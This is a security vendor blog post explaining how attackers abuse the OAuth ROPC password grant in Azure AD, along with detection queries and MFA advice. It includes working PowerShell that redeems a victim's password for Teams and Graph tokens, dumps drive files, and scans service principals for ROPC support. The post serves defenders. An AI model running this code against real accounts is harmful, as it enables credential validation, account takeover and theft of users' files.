Zscaler Blog

Erhalten Sie die neuesten Zscaler Blog-Updates in Ihrem Posteingang

Best Practices

When MFA isn’t an option: The legacy of ROPC

image

Learn about a common authentication method for legacy applications and how you can reduce your application security risk.

The Resource Owner Password Credentials (ROPC) grant flow is a portion of the OAuth 2.0 protocol that allows an identity provider (here defined as Azure Active Directory) to grant an access token to an application using only a username and password. From a security perspective, this scenario is not recommended because plaintext password credentials should not be shared and because it doesn’t support multi-factor authentication (MFA). ROPC exists for cases where legacy applications need to be supported on top of a modern identity provider “where the resource owner has a[n explicit] trust relationship with the client.”

Why would adversaries care about ROPC?

Adversaries would desire to target the ROPC flow for the following reasons:

  • It’s an avenue for targeting and gaining access to Azure AD accounts that do not enforce MFA.
  • It’s a very simple method for testing whether or not credentials are valid (i.e., it facilitates password spraying).
  • Adversaries know that there’s still not full adoption of MFA and that there are Microsoft applications that still support ROPC.
  • Installed, non-first-party Azure AD applications that support ROPC may not handle the credentials in a safe manner, potentially opening themselves up to compromise beyond a single user. ROPC applications require a high degree of trust that they handle and discard credentials in the safest manner possible.

 

What does an ROPC grant look like?

Let’s say an adversary wanted to validate compromised Azure AD credentials and access that user’s data. One application they might target to validate the credentials and gain access is Microsoft Teams (Application ID: 1fec8e78-bce4-4aaf-ab1b-5451cc387264), which supports the ROPC flow. With only a single web request, they can validate the credentials and obtain an access token with which they could gain access to the victim resources.

Here’s what the adversary would need to conduct the attack:

  • The victim’s Azure AD user principal name (i.e., their email address)
  • The victim’s plaintext password
  • Optionally, in some cases, the tenant ID of the target Azure AD tenant
    • If the email address domain is known, the tenant ID is effectively public knowledge. For example, this URI will resolve the microsoft.com domain to their tenant ID of 72f988bf-86f1-41af-91ab-2d7cd011db47: https://login.microsoftonline.com/microsoft.com/.well-known/openid-configuration.
    • The tenant ID is optional in many cases, however, as an adversary can use common, organizations, or consumers as endpoint names depending upon the configuration of the app. For example: https://login.microsoftonline.com/organizations/oauth2/v2.0/token
  • The application ID of the ROPC-supporting app being targeted. In this example, we’re going to target Microsoft Teams (1fec8e78-bce4-4aaf-ab1b-5451cc387264)

With all the adversary’s requirements met, gaining access is as simple as the following few lines of PowerShell:

$Creds = Get-Credential -Credential '[email protected]' # Change me $TenantId = '0bf86e45-27ea-4ead-aa72-5403e6e04f41' # Change me $TeamsAppId = '1fec8e78-bce4-4aaf-ab1b-5451cc387264' $Form = @{ grant_type = 'password' client_id = $TeamsAppId username = $Creds.UserName password = $Creds.GetNetworkCredential().Password scope = 'openid offline_access https://graph.microsoft.com/.default' } $Arguments = @{ Uri = 'https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token' Method = 'Post' ContentType = 'application/x-www-form-urlencoded' Body = $Form } $Result = Invoke-RestMethod @Arguments 

Upon inspecting the $Result variable, you’ll see output similar to the following (assuming the credentials were valid and that the account does not have MFA enforced):

> $Result token_type : Bearer scope : email openid profile https://graph.microsoft.com/AppCatalog.Read.All https://graph.microsoft.com/Channel.ReadBasic.All https://graph.microsoft.com/Contacts.ReadWrite.Shared https://graph.microsoft.com/Files.ReadWrite.All https://graph.microsoft.com/InformationProtectionPolicy.Read https://graph.microsoft.com/MailboxSettings.ReadWrite https://graph.microsoft.com/Notes.ReadWrite.All https://graph.microsoft.com/People.Read https://graph.microsoft.com/Place.Read.All https://graph.microsoft.com/Sites.ReadWrite.All https://graph.microsoft.com/Tasks.ReadWrite https://graph.microsoft.com/Team.ReadBasic.All https://graph.microsoft.com/TeamsAppInstallation.ReadForTeam https://graph.microsoft.com/TeamsTab.Create https://graph.microsoft.com/User.ReadBasic.All https://graph.microsoft.com/.default expires_in : 8493 ext_expires_in : 8493 access_token : eyJ0e[REDACTED]JZtA refresh_token : 0.AVIAX[REDACTED]ZCuE foci : 1 id_token : eyJ0e[REDACTED]UnPTA 

With the access token available, based on the scopes permitted, an adversary has a host of tradecraft options available. The following example will demonstrate using the Microsoft.Graph module to perform operations with the acquired access token:

Select-MgProfile -Name beta Connect-MgGraph -AccessToken $Result.access_token # Let's say we're interested in operations involving the granted Files.ReadWrite.All scope. # What operations are available if I have that scope? # This site is a wonderful resource as well: https://graphpermissions.merill.net/permission/Files.ReadWrite.All $GraphCommands = Find-MgGraphCommand -Command * -ApiVersion beta $GraphCommands | Where-Object { $_.Permissions.Name -contains 'Files.ReadWrite.All' } | Select-Object -ExpandProperty Command | Sort <# Example output: Copy-MgDriveItem Get-MgDrive Get-MgDriveActivity Get-MgDriveItem Get-MgUserDrive Grant-MgSharePermission Invoke-MgCheckinDriveItem New-MgDriveItemChild New-MgDriveItemLink Remove-MgDriveItem Remove-MgDriveItemPermission Search-MgDriveRoot Set-MgDriveItemContent etc. #> # Now I can perform drive recon and dump file contents among other things... $RootDrive = Get-MgDrive $RootDriveItem = Get-MgDriveItem -DriveId $RootDrive.Id -DriveItemId 'root:' $RootDriveChildren = Get-MgDriveItemChild -DriveId $RootDrive.Id -DriveItemId $RootDriveItem.Id Get-MgDriveItemContent -DriveId $RootDrive.Id -DriveItemId $RootDriveChildren.Id -OutFile dumpedfile.txt

The scopes granted upon successful authentication and authorization will be dependent upon the scopes that were previously assigned/consented to for the target user and their corresponding role. The ROPC flow does not support requesting user or admin consent. The Auth Code grant flow is necessary to request consent. Once credentials are verified with ROPC, assuming the tenant permits user consent, there’s nothing preventing an adversary from targeting any application of their choosing with the scopes of their choosing (restricted by the victim accounts role/group assignments).

Astute readers familiar with Azure AD attacks may have also noticed the “foci” field in the token information above. This indicates that the issued Microsoft Teams refresh token can be used to obtain an access token for other applications, effectively widening the scopes available to an adversary without even requesting consent.

How do I determine which existing applications support ROPC?

The only way to validate if an application that you don’t own supports ROPC is to supply it with valid credentials for an account that doesn’t have MFA enabled. The following PowerShell code iterates through all default service principal instances (i.e., first-party, default Microsoft applications) and returns applications that successfully authenticate using the ROPC flow.

# Your tenant ID $TenantID = '0bf86e45-27ea-4ead-aa72-5403e6e04f41' # Change me # Obtain an MS graph token Connect-MgGraph -Scopes 'Application.Read.All' -TenantId $TenantID # Supply the username and password you want to test $Credentials = Get-Credential $ROPCSupportedApps = Get-MgServicePrincipal -All | ForEach-Object { $Form = @{ grant_type = 'password' client_id = $_.AppId username = $Credentials.UserName password = $Credentials.GetNetworkCredential().Password scope = 'openid offline_access https://graph.microsoft.com/.default' } $Arguments = @{ Uri = 'https://login.microsoftonline.com/$TenantID/oauth2/v2.0/token' Method = 'Post' ContentType = 'application/x-www-form-urlencoded' Body = $Form } $Result = $null try { $Result = Invoke-RestMethod @Arguments -ErrorAction SilentlyContinue } catch {} # Return an application if ROPC auth was successful if ($Result.access_token) { [PSCustomObject] @{ AppInfo = $_ AuthResult = $Result } } } # List all the applications that successfully issued a token. # Anything returned from this object confirms: # 1. That the supplied username and password are valid # 2. That the application supports the ROPC grant flow $ROPCSupportedApps 

After running this script in our tenant, we saw the following Microsoft applications that support the ROPC flow:

AppIdDisplayNamePublisherNameSignInAudience

14d82eec-204b-4c2f-b7e8-296a70dab67e

Microsoft Graph PowerShell

Microsoft

AzureADandPersonalMicrosoftAccount

e9b154d0-7658-433b-bb25-6b8e0a8a7c59

Outlook Lite

Microsoft Services

AzureADandPersonalMicrosoftAccount

87223343-80b1-4097-be13-2332ffa1d666

Outlook Web App Widgets

Microsoft Services

AzureADandPersonalMicrosoftAccount

f448d7e5-e313-4f90-a3eb-5dbb3277e4b3

Media Recording for Dynamics 365 Sales

Microsoft Services

AzureADMultipleOrgs

1fec8e78-bce4-4aaf-ab1b-5451cc387264

Microsoft Teams

Microsoft Services

AzureADMultipleOrgs

80331ee5-4436-4815-883e-93bc833a9a15

Universal Print Connector

Microsoft Services

AzureADMultipleOrgs

dae89220-69ba-4957-a77a-47b78695e883

Universal Print Native Client

Microsoft Services

AzureADMultipleOrgs

61ae9cd9-7bca-458c-affc-861e2f24ba3b

Windows Update for Business Deployment Service

Microsoft Services

AzureADMultipleOrgs

6f0478d5-61a3-4897-a2f2-de09a5a90c7f

WindowsUpdate-Service

Microsoft Services

AzureADMultipleOrgs

 

What story can logs tell about ROPC?

You may want to audit attempted and successful ROPC authentication in your environment in order to baseline what is expected so that anomalies can be identified.

When manually hunting in the Azure AD portal, Microsoft makes it easy to filter based on ROPC authentications. In the following screenshot, successful sign-ins are shown where single-factor ROPC occurs against the Microsoft Graph resource server (the most common scenario):

ROPC logs in Microsoft Graph

Unfortunately, neither Log Analytics nor Microsoft Defender 365 Advanced Hunting queries expose an

Authentication Protocol

field, so an inference has to be made. ROPC authentication is inferred based on the following:

  • ClientAppUsed is Mobile Apps and Desktop clients
  • AuthenticationRequirement is singleFactorAuthentication
  • IsInteractive is true
  • authentications details indicating that an OAuth token was issued

 

 

Log Analytics query

SigninLogs | where ResultType == 0 and ClientAppUsed == @'Mobile Apps and Desktop clients' and AuthenticationRequirement == 'singleFactorAuthentication' and ResourceDisplayName == 'Microsoft Graph' and IsInteractive == true and AuthenticationProcessingDetails contains_cs 'Oauth Scope Info'

 

Microsoft Defender 365 Advanced Hunting query

AADSignInEventsBeta | where ErrorCode == 0 and ClientAppUsed == @'Mobile Apps and Desktop clients' and EndpointCall == 'OAuth2:Token' and LogonType == @'[''interactiveUser'']' and AuthenticationRequirement == 'singleFactorAuthentication' and ResourceDisplayName == 'Microsoft Graph' 

If you want to expand your hunting to failed ROPC logon attempts, you may encounter any of the following error codes related to ROPC reconnaissance:

  • 50105: Your administrator has configured the application {appName} ({appId}) to block users unless they are specifically granted (assigned) access to the application. The signed in user {user} is blocked because they are not a direct member of a group with access, nor had access directly assigned by an administrator. Please contact your administrator to assign access to this application.
  • 65002: Consent between first party application {applicationId} and first-party resource {resourceId} must be configured via preauthorization—applications owned and operated by Microsoft must get approval from the API owner before requesting tokens for that API.
  • 700019: Application ID {identifier} cannot be used or is not authorized.
  • 7000218: The request body must contain the following parameter: client_assertion or client_secret.

 

Sign-in event investigation

Here is an example sign-in event with extraneous details removed for brevity:

'TenantId': 'b7c20a2b-6cb4-4d06-88a2-6e4d2dddcca7', 'SourceSystem': 'Azure AD', 'TimeGenerated [UTC]': '5/3/2023, 5:32:36.965 PM', 'ResourceId': '/tenants/d81cff64-0c3b-424e-8d06-561490d3c867/providers/Microsoft.aadiam', 'OperationName': 'Sign-in activity', 'OperationVersion': '1.0', 'Category': 'SignInLogs', 'ResultType': '0', 'CorrelationId': '43a1e1fd-b44b-44be-a3e3-60fe0031a630', 'Resource': 'Microsoft.aadiam', 'ResourceGroup': 'Microsoft.aadiam', 'Identity': 'Poor Victim', 'Level': '4', 'Location': 'US', 'AlternateSignInName': '[email protected]', 'AppDisplayName': 'Microsoft Teams', 'AppId': '1fec8e78-bce4-4aaf-ab1b-5451cc387264', 'AuthenticationDetails': '[{\'authenticationStepDateTime\':\'2023-05-03T17:32:36.9659099+00:00\',\'authenticationMethod\':\'Password\',\'authenticationMethodDetail\':\'Password in the cloud\',\'succeeded\':true,\'authenticationStepResultDetail\':\'Correct password\',\'authenticationStepRequirement\':\'Primary authentication\',\'StatusSequence\':0,\'RequestSequence\':1}]', 'AuthenticationProcessingDetails': '[{\'key\':\'Legacy TLS (TLS 1.0, 1.1, 3DES)\',\'value\':\'False\'},{\'key\':\'Oauth Scope Info\',\'value\':\'[\\\'AppCatalog.Read.All\\\',\\\'Channel.ReadBasic.All\\\',\\\'Contacts.ReadWrite.Shared\\\',\\\'email\\\',\\\'Files.ReadWrite.All\\\',\\\'InformationProtectionPolicy.Read\\\',\\\'MailboxSettings.ReadWrite\\\',\\\'Notes.ReadWrite.All\\\',\\\'openid\\\',\\\'People.Read\\\',\\\'Place.Read.All\\\',\\\'profile\\\',\\\'Sites.ReadWrite.All\\\',\\\'Tasks.ReadWrite\\\',\\\'Team.ReadBasic.All\\\',\\\'TeamsAppInstallation.ReadForTeam\\\',\\\'TeamsTab.Create\\\',\\\'User.ReadBasic.All\\\']\'},{\'key\':\'Is CAE Token\',\'value\':\'False\'}]', 'AuthenticationRequirement': 'singleFactorAuthentication', 'AuthenticationRequirementPolicies': '[]', 'ClientAppUsed': 'Mobile Apps and Desktop clients', 'ConditionalAccessPolicies': '[]', 'ConditionalAccessStatus': 'notApplied', 'CreatedDateTime [UTC]': '5/3/2023, 5:32:36.965 PM', 'DeviceDetail': '{\'deviceId\':\'\',\'operatingSystem\':\'Windows 10\'}', 'IsInteractive': 'true', 'Id': '031fdefe-7652-4349-be8d-bc0db2b5c200', 'IPAddress': 'REDACTED', 'IsRisky': '', 'LocationDetails': '{\'city\':\'REDACTED\',\'state\':\'REDACTED\',\'countryOrRegion\':\'US\',\'geoCoordinates\':{\'latitude\':REDACTED,\'longitude\':REDACTED}}', 'MfaDetail': '', 'OriginalRequestId': '031fdefe-7652-4349-be8d-bc0db2b5c200', 'RiskDetail': 'none', 'RiskEventTypes': '[]', 'RiskEventTypes_V2': '[]', 'RiskLevelAggregated': 'none', 'RiskLevelDuringSignIn': 'none', 'RiskState': 'none', 'ResourceDisplayName': 'Microsoft Graph', 'ResourceIdentity': '00000003-0000-0000-c000-000000000000', 'ResourceServicePrincipalId': '15763fce-1a0c-461d-9279-27474b0622df', 'ServicePrincipalId': '', 'ServicePrincipalName': '', 'Status': '{\'errorCode\':0}', 'TokenIssuerName': '', 'TokenIssuerType': 'AzureAD', 'UserAgent': 'Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.963', 'UserDisplayName': 'Poor Victim', 'UserId': 'b4ee295b-80cb-4bc1-a69e-b356dd5064ba', 'UserPrincipalName': '[email protected]', 'AADTenantId': 'd81cff64-0c3b-424e-8d06-561490d3c867', 'UserType': 'Member', 'FlaggedForReview': '', 'IPAddressFromResourceProvider': '', 'SignInIdentifier': '[email protected]', 'SignInIdentifierType': '', 'ResourceTenantId': 'd81cff64-0c3b-424e-8d06-561490d3c867', 'HomeTenantId': 'd81cff64-0c3b-424e-8d06-561490d3c867', 'UniqueTokenIdentifier': '_t4fB1J8SUO-jbcFprXCAA', 'AppliedConditionalAccessPolicies': '', 'RiskLevel': '' 

When baselining normal ROPC authentication activity, here are some questions to consider:

  • How often is ROPC authentication used against the application, Microsoft Teams (1fec8e78-bce4-4aaf-ab1b-5451cc387264) in this case?
  • How often is Microsoft Teams even used within the tenant, regardless of the authentication type?
  • Does the IP address have an established reputation?
  • Did the request occur from an expected geographical location?
  • What is normal sign-in behavior for the logged user? Does that user perform ROPC authentication normally?
  • Is the user agent common/expected in the tenant?

 

Does my application support ROPC?

It’s easy to quickly identify apps that you own in your tenant that support the ROPC flow. The following PowerShell code will list all applications within your tenant that support ROPC:

# Obtain an MS graph token Connect-MgGraph -Scopes 'Application.Read.All' # List all applications that support ROPC - i.e. have 'Allow public client flows' enabled. Get-MgApplication -All | Where-Object { $_.IsFallbackPublicClient }

 

Conclusion

The most important takeaway from this post should be a call to action to enforce MFA within your tenant to the greatest extent possible. ROPC is not itself a security issue, but it enables an adversary to perform password spraying against accounts that do not have MFA enabled. In other words:

ROPC should not be the target of your concern. Worry about accounts that don’t have MFA enabled!

If you would like to get a sense of which accounts do not have MFA enabled, run the following PowerShell one-liner from the MSOnline module:

Get-MsolUser -All | Where-Object { -not $_.StrongAuthenticationRequirements }

References

 

An ROPC mystery

Read about BAV2ROPC, a seemingly undocumented mechanism developed by Microsoft that uses the ROPC flow.

form submtited
Danke fürs Lesen

War dieser Beitrag nützlich?

Haftungsausschluss: Dieser Blog-Beitrag wurde von Zscaler ausschließlich zu Informationszwecken erstellt und wird ohne jegliche Garantie für Richtigkeit, Vollständigkeit oder Zuverlässigkeit zur Verfügung gestellt. Zscaler übernimmt keine Verantwortung für etwaige Fehler oder Auslassungen oder für Handlungen, die auf der Grundlage der bereitgestellten Informationen vorgenommen werden. Alle in diesem Blog-Beitrag verlinkten Websites oder Ressourcen Dritter werden nur zu Ihrer Information zur Verfügung gestellt, und Zscaler ist nicht für deren Inhalte oder Datenschutzmaßnahmen verantwortlich. Alle Inhalte können ohne vorherige Ankündigung geändert werden. Mit dem Zugriff auf diesen Blog-Beitrag erklären Sie sich mit diesen Bedingungen einverstanden und nehmen zur Kenntnis, dass es in Ihrer Verantwortung liegt, die Informationen zu überprüfen und in einer Ihren Bedürfnissen angemessenen Weise zu nutzen.

Erhalten Sie die neuesten Zscaler Blog-Updates in Ihrem Posteingang

Mit dem Absenden des Formulars stimmen Sie unserer Datenschutzrichtlinie zu.